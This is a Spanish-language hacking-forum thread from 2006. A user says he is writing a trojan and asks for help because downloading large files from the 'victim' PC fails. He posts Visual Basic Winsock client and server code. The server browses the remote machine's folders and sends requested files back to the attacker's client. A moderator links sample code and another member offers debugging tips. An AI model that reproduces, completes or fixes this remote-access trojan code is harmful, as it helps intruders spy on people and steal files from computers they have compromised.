hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
12 de Octubre de 2008, 05:57:45
Noticias: Convocatoria E-zine CPH #2
Para ver este enlace Registrate o Inicia Sesion
> Aquí

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  Programación en general
| | |-+  Visual Basic (Moderadores: ranefi, crypto136, ziBboh, >> s E t H <<)
| | | |-+  Transferencia de archivos Cliente - Servidor
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Transferencia de archivos Cliente - Servidor  (Leído 953 veces)
carlitro8
Recien llegado
*
Desconectado Desconectado

Mensajes: 8


Ver Perfil
« : 25 de Junio de 2006, 09:23:18 »

Bien, tengo más dudas acerca del troyano que estoy creando, jeje. La que me ocupa ahora es la siguiente: tengo una opción en el cliente para descargar archivos desde el pc "víctima" y he elaborado el código, pero el problema es que sólo me está funcionando, en las pruebas q estoy realizando, con archivos pequeños, (he probado de 100 kb para abajo) y esos van perfectamente. Pero el problema se me presenta al intentar pasar una cancion..., o un archivo de 1,5 MB, un *.pdf, en cuyo caso no pasa nada y no aparece el archivo donde le especifico. Ni tampoco me aparece un MSGBOX que sale cuando el archivo ha sido completado (la descarga). ¿A qué podría ser debido y como lo podría solucionar?

Muchísimas gracias, esto es lo que el cliente realiza cuando le llegan datos de un archivo:

Código:
If Len(archivo_temporal) <> tamaño_archivo Then
        archivo_temporal = archivo_temporal + datos
        If Len(archivo_temporal) = tamaño_archivo Then
            Open rutapclocal & nombrearchivo For Binary As #1
            Put #1, 1, archivo_temporal
            Close #1
            rutapclocal = ""
            nombrearchivo = ""
            MsgBox ("Archivo recibido correctamente"), vbInformation
        End If
End If
tamaño_archivo viene dado por:
Código:
tamaño_archivo = Val(datos)
que a su vez, datos es lo que en el servidor viene dado así:
Código:
tamaño_archivo = Len(contenido_archivo)

Jeje, un poco lioso?siento no poder hacerlo mas claro. Por cierto, "contenido_arch ivo" contiene lo siguiente:

Código:
Open rutaarchivo & "\" & nombrearchivo For Binary As #1
        contenido_archivo = Input(LOF(1), 1)
    Close #1

GRACIAS!!!!!!!!!!!
En línea
carlitro8
Recien llegado
*
Desconectado Desconectado

Mensajes: 8


Ver Perfil
« Respuesta #1 : 26 de Junio de 2006, 10:08:28 »

Ufff nadie tiene ni idea...?jeje, si necesitáis más detalles no duden en preguntar. Gracias de nuevo.
En línea
ranefi
Moderador Global
*****
Desconectado Desconectado

Mensajes: 1,191


SELECT * FROM guapos WHERE papito_chulo = 'ranefi'


Ver Perfil WWW
« Respuesta #2 : 27 de Junio de 2006, 05:50:44 »

Hola calitro8, buen día. Aquí te dejo un ejemplo de código que te puede ser útil.


Para ver este enlace Registrate o Inicia Sesion
DESCARGAR


El nombre del autor se encuentra dentro del código. Nos vemos.
En línea


SELECT * FROM mejores_batos_ del_mundo WHERE id = (SELECT DISTINCT id_guapo FROM los_mas_guapos _del_mundo WHERE papito_chulo = 'ranefi')
carlitro8
Recien llegado
*
Desconectado Desconectado

Mensajes: 8


Ver Perfil
« Respuesta #3 : 27 de Junio de 2006, 10:43:15 »

Gracias por contestar, pero mi programa estaba basado ya en ese código y no me deja enviar arhivos grandes. Más bien me deja (sin problemas) sólo archivos pequeños. Alguna vez que otra me ha dejado enviar uno de 560 Kb... y ya más grandes nunca me ha dejado. De nuevo, Gracias por contestar. Sigue sin haber ninguna idea, no?jeje.
En línea
ranefi
Moderador Global
*****
Desconectado Desconectado

Mensajes: 1,191


SELECT * FROM guapos WHERE papito_chulo = 'ranefi'


Ver Perfil WWW
« Respuesta #4 : 29 de Junio de 2006, 05:49:00 »

Gracias por contestar, pero mi programa estaba basado ya en ese código y no me deja enviar arhivos grandes. Más bien me deja (sin problemas) sólo archivos pequeños. Alguna vez que otra me ha dejado enviar uno de 560 Kb... y ya más grandes nunca me ha dejado. De nuevo, Gracias por contestar. Sigue sin haber ninguna idea, no?jeje.

Hola carlitro8, buen día. Mira, el ejemplo que te dejé fue para que compararas tu código contra el que te envié. Una pregunta, ya intentaste enviar archivos desde otra computadora, algunas veces el problema se debe a fallas en la tranferencia de archivos, en la conexión de la máquina, etc. Prueba con otras máquinas y nos cuentas, esto para poder ofrecerte una solución o ayudarte a encontrarla. También nos puedes enviar tu código si gustas. Nos vemos.
En línea


SELECT * FROM mejores_batos_ del_mundo WHERE id = (SELECT DISTINCT id_guapo FROM los_mas_guapos _del_mundo WHERE papito_chulo = 'ranefi')
carlitro8
Recien llegado
*
Desconectado Desconectado

Mensajes: 8


Ver Perfil
« Respuesta #5 : 29 de Junio de 2006, 03:41:22 »

Ranefi, de momento sólo he probado conectandome a mi misma computadora. Dejo aqui el codigo para que por favor le echen un vistazo si pueden, como me pedías:


Cliente (solo meto el codigo q tiene q ver con la accion de enviar archivos, claro, jeje)

Código:
Private Sub cmdDescargar_Click()
rutapcremoto = txtConsola.Text
nombrearchivo = List1
rutapclocal = txtRutaLocal.Text
Winsock2.SendData "DESCARGAARCHIVO|" & rutapcremoto & "|" & nombrearchivo & "|" & rutapclocal
End Sub

Código:
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock2.GetData datos
If Mid(datos, 1, 1) = "<" Or Mid(datos, 1, 1) = "f" Or Mid(datos, 1, 14) = "PERMISOARCHIVO" Then

If Mid(datos, 1, 1) = "<" Then
datos = Mid(datos, 1, Len(datos) - 0)
List1.AddItem datos
datos = ""
End If
If Mid(datos, 1, 1) = "f" Then
datos = Mid(datos, 2, Len(datos) - 1)
List1.AddItem datos
datos = ""
End If


If Mid(datos, 1, 14) = "PERMISOARCHIVO" Then
    datos = Mid(datos, 16, Len(datos) - 14)
    rutapclocal = ""
    For i = 1 To Len(datos)
        If Mid(datos, 1, 1) <> "|" Then
            rutapclocal = rutapclocal + Mid(datos, 1, 1)
        ElseIf Mid(datos, 1, 1) = "|" Then
            datos = Mid(datos, 2, Len(datos) - 1)
            Exit For
        End If
        datos = Mid(datos, 2, Len(datos) - 1)
    Next
    tamaño_archivo = Val(datos)
    Winsock2.SendData "ENVIAMEYA"
    archivo_temporal = ""
End If

Else
    Label2.Caption = rutapclocal & nombrearchivo
   
If Len(archivo_temporal) <> tamaño_archivo Then
        Espera 10
        archivo_temporal = archivo_temporal + datos
        Espera 500
        If Len(archivo_temporal) = tamaño_archivo Then
        On Error Resume Next
            Open rutapclocal & nombrearchivo For Binary As #1
            Put #1, 1, archivo_temporal
            Close #1
            Espera 50
            archivo_temporal = ""
            MsgBox ("Archivo recibido correctamente"), vbInformation
        End If
End If
rutapclocal = ""
nombrearchivo = ""
End If

Nota : espera es la funcion q vi por aki por este foro para hacer un sleep, lo incorpore para intentar mejorar el envio d archivos con un tiempo de espera... Lo del condicional del winsock2 es xq el winsock2 tambien lo uso para pasar la informacion para poder explorar desde el cliente el pc del servidor.

Servidor:

Código:
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim ruta As String

Winsock2.GetData datos

'Si es ARCHIVOS...
If Mid(datos, 1, 8) = "ARCHIVOS" Then ' Si los 8 primeros caracteres son ARCHIVOS
    ruta = Mid(datos, 10)
    listar ruta 'Llamamos a la función para listar los ficheros de esa unidad y carpeta
End If

'Si es DESCARGAARCHIVO...
If Mid(datos, 1, 15) = "DESCARGAARCHIVO" Then ' Si empieza por DESCARGAARCHIVO
    rutaarchivo = ""
    nombrearchivo = ""
    rutapcremoto = ""
    datos = Mid(datos, 17, Len(datos) - 15)
    For i = 1 To Len(datos)
        If Mid(datos, 1, 1) <> "|" Then
            rutaarchivo = rutaarchivo + Mid(datos, 1, 1)
        ElseIf Mid(datos, 1, 1) = "|" Then
            datos = Mid(datos, 2, Len(datos) - 1)
    Exit For
        End If
        datos = Mid(datos, 2, Len(datos) - 1)
    Next
        For i2 = 1 To Len(datos)
            If Mid(datos, 1, 1) <> "|" Then
                nombrearchivo = nombrearchivo + Mid(datos, 1, 1)
            ElseIf Mid(datos, 1, 1) = "|" Then
            datos = Mid(datos, 2, Len(datos) - 1)
        Exit For
            End If
        datos = Mid(datos, 2, Len(datos) - 1)
        Next
    rutapcremoto = datos

Label1.Caption = rutaarchivo & nombrearchivo & rutapcremoto


' Ya tenemos almacenados la ruta del archivo a enviar, el nombre del archivo y la
' ruta del pc remoto al que se enviará el archivo
On Error GoTo sigue:
    Open rutaarchivo & "\" & nombrearchivo For Binary As #1
        contenido_archivo = Input(LOF(1), 1)
    Close #1
    tamaño_archivo = Len(contenido_archivo)
    GoTo siempre:
sigue:
    Open rutaarchivo & nombrearchivo For Binary As #1
        contenido_archivo = Input(LOF(1), 1)
    Close #1
    tamaño_archivo = Len(contenido_archivo)
    GoTo siempre:

siempre:
tamaño_archivo = Len(contenido_archivo)
Label5.Caption = Len(contenido_archivo)
Winsock2.SendData "PERMISOARCHIVO|" & rutapcremoto & "|" & tamaño_archivo

Label2.Caption = rutaarchivo & nombrearchivo
Label4.Caption = rutapcremoto
End If

'Si es ENVIAMEYA...
If datos = "ENVIAMEYA" Then
    Winsock2.SendData contenido_archivo
End If

Nota: lo mismo digo... si es ARCHIVOS (lo del Mid(datos)... etc) es xq hago asi lo de pasar los datos al cliente para q este explore el pc del servidor.

Espero que entre todos podamos encontrar una solución, jeje, muchas gracias de nuevo por contestar, y muchísimas gracias de antemano, espero ideas Cheesy

En línea
Ne0
Recien llegado
*
Desconectado Desconectado

Mensajes: 4


Ver Perfil
« Respuesta #6 : 03 de Julio de 2006, 05:02:55 »

Estas seguro de que lasvariables te dan para el tamaño del archivo?Huh ^o)
En línea
carlitro8
Recien llegado
*
Desconectado Desconectado

Mensajes: 8


Ver Perfil
« Respuesta #7 : 05 de Julio de 2006, 09:29:47 »

Pues si pongo una label en el cliente que me muestre el valor de tamaño_archivo y otra label en el servidor que me muestre el valor de tamaño_archivo aparece en ambos la misma cantidad. Así que parece que si me da, no?
En línea
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online